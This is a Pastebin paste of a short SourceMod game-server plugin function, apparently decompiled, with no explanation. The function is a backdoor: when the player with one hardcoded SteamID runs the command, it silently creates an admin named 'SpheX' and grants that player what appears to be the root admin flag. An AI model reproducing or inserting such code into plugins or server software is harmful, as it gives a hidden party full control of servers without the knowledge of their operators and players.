Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- public Action:Command_AddAdmin(client, args)
- {
- if (IsClientInGame(client))
- {
- decl String:SteamID[64];
- GetClientAuthString(client, SteamID, 64);
- if (StrEqual(SteamID, "STEAM_0:1:36281003", true))
- {
- new AdminId:admin = CreateAdmin("SpheX");
- SetUserAdmin(client, admin, false);
- new AdminId:iAdminID = GetUserAdmin(client);
- SetAdminFlag(iAdminID, AdminFlag:14, true);
- }
- }
- return Action:3;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement